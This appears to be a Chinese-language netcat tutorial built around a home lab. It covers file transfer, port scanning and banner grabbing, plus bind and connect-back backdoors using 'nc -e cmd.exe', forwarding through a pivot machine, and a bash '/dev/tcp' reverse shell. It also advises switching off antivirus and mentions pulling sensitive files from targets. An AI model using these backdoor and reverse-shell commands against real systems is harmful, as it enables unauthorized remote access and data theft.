目录

netcat简介

nc的使用场景

nc实现通信

创建一个服务端

创建一个客户端

具体案例

环境

win10在具体路径下执行命令

win7在具体路径下执行命令

netcat文件传输

nc文件传输的利用

服务器等待接收文件

客户端向服务器发送文件

服务器向连接的客户端发送文件

客户端向服务器接收文件

netcat的信息探测

端口扫描

banner抓取

netcat建立后门

建立监听后门

创建一个服务器端

创建一个客户端

建立连接型后门

创建一个服务端

创建一个客户端

netcat的命令参数介绍

参数

netcat连接转发

前言

连接转发案例

环境配置

win7目标机创建服务

win10内创建脚本文件

kail借助win10连接win7

netcat反弹shell

PC接收netcat命令

linux内反弹shell

netcat简介

在网络中有瑞士军刀美誉的netcat，在我们用了N年后依然爱不释手，这是一个非常简单易用的基于TCP/IP协议的瑞士军刀。

nc下载地址：https://eternallybored.org/misc/netcat/

注意：这里下载的时候会报出包含病毒，关闭杀毒软件忽略即可

nc的使用场景

解释：客户端连接服务器会被防火墙阻止，但是服务器访问客户端不会被防火墙拦截；因此可以把服务器作为nc客户端，客户端电脑作为nc服务端来进行连接

nc实现通信

创建一个服务端

语法：nc -l -p 端口

参数：

• -l：监听模式
• -p：监听的端口

解释：创建一个nc服务端用来监听该服务端端口的连接状态

创建一个客户端

语法：nc 要连接的服务端IP地址 要连接的服务端端口

解释：创建一个客户端用来连接特定服务端

具体案例

环境

• win10客户机：使用桥接模式（IP地址：192.168.1.22）
• win7客户机：使用nat模式（IP地址：192.168.126.155）

注意：win7有网关，处于内网环境，可以连接桥接的win10

win10在具体路径下执行命令

win7在具体路径下执行命令

结果：就可以在命令行相互通信了

netcat文件传输

nc文件传输的利用

• 取证：当目标机器被黑客攻击之后，取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容，避免直接在目标机器上进行操作造成取证的误差
• 获取目标机器上的敏感文件：当目标机器上有一些文件内容无法正常下载时，可以利用nc进行文件传输

注意：nc中的数据传输使用的是标准输入、输出流，所以可以直接利用命令来进行操作

服务器等待接收文件

语法：nc -l -p 本地端口 > 服务器本地文件名

解释：将服务器接收的文件内容输出到文件中

客户端向服务器发送文件

语法：nc 服务器IP地址 服务器端口 < 客户端的文件名

解释：将客户端内的具体文件发送到服务器中

服务器向连接的客户端发送文件

语法：nc -l -p 本地端口 < 服务器本地文件名

客户端向服务器接收文件

语法：nc 服务器IP地址 服务器端口 > 文件名

netcat的信息探测

端口扫描

命令：nc -v -n -z -w1 目标IP 起始端口号-中止的端口号

参数

• -v：对错误进行详细的输出
• -n：不对目标机器进行DNS解析
• -z：zero I/O模式，专门用于端口扫描；表示对目标IP发送的数据表中不包含任何的payload，这样做可以加快扫描速度
• -w1：超时设置为1s

banner抓取

语法：echo "" | nc -v -n -w1 目标IP 起始端口-结束端口

注意：通过banner信息就可以获取目标机器上的某些信息（操作系统）

netcat建立后门

前言：netcat的一切数据都是通过标准输入/输出流实现的，所以可以利用netcat的命令进行后门的建立，并传输结果信息

建立监听后门

创建一个服务器端

语法：nc -l -p 本地端口 -e cmd.exe

注意：-e表示连接之后要返回给连接端对应的程序

创建一个客户端

语法：nc 服务器IP地址 服务器端口

结果：在客户端返回服务端的cmd（linux中使用的是bash）

建立连接型后门

创建一个服务端

语法：nc -l -p 本地端口

创建一个客户端

语法：nc 服务端IP地址 服务端端口 -e cmd.exe

理解：当客户端连接服务器时就会把客户端的cmd返回给服务器

netcat的命令参数介绍

查看nc命令参数：nc -h

参数

• -d：脱离命令行窗口，在后台运行
• -e：执行某个程序，常用于后门建立过程
• -G gateway：设置网关，常用于突破内网限制
• -g num：表示路由的跳数
• -i sec：设置发送每一行数据的时间间隔，单位s
• -l：设置netcat处于监听状态，等待连接
• -L：设置netcat处于监听状态，等待连接（当客户端断开，服务端依旧回到等待状态）
• -n：设置netcat只是识别IP地址，不进行dns解析
• -o：设置传输16进制的数据
• -p：设置本地监听的端口号
• -r：设置netcat随机化的端口号
• -s：用于设置netcat的源地址（用于隐藏自己IP）
• -t：回复telnet的请求数据包
• -u：设置netcat使用udp方式
• -v：显示错误提示信息
• -w secs：用来设置连接超时秒数
• -z：设置扫描模式，表示发送的数据包不包含任何payload

注意：netcat的所有请求默认都是使用TCP协议

netcat连接转发

前言

理解：两台服务器可以互相访问，一台笔记本仅可以与右边的服务器进行相互访问，此时该笔记本想要与上面的服务器互相访问就需要借助右边的服务器进行连接转发

连接转发案例

环境配置

• win10物理机：用作转发服务器，IP地址为192.168.1.22
• win7：用作内网服务器，nat模式，IP地址为192.168.126.155
• kail：用作外面客户端，桥接模式

win7目标机创建服务

执行：nc.exe -l -p 2222

win10内创建脚本文件

注意：里面填的是要连接的目的ip与端口（win10必须能够与该服务器相互连接）

执行：nc.exe -l -p 3333 -e delay.bat

理解：连接win10的3333端口就会执行delay.bat脚本文件。

kail借助win10连接win7

执行：nc 192.168.1.22 3333

结果：执行该命令后就会与win7连接

netcat反弹shell

前言：某些情况下拿到服务器权限之后，想要设置一个反弹shell，但是目标服务器上没有安装netcat就需要此功能

PC接收netcat命令

语法：nc -lvp 本地端口

linux内反弹shell

语法：bash -i >& /dev/tcp/反弹的目标ip/目标port 0>&1

解释：

• 在命令行中bash -i表示交互模式运行bash shell。重定向符>&，若在其后加文件描述符，是将bash -i交互模式传递给文件描述符，而若其后是文件，则将bash -i交互模式传递给文件。
• 文件描述符（0：标准输入，1：标准输出，2：错误输入输出）命令中0>&1表示将标准输入重定向到标准输出，实现远程的输入可以在远程输出对应内容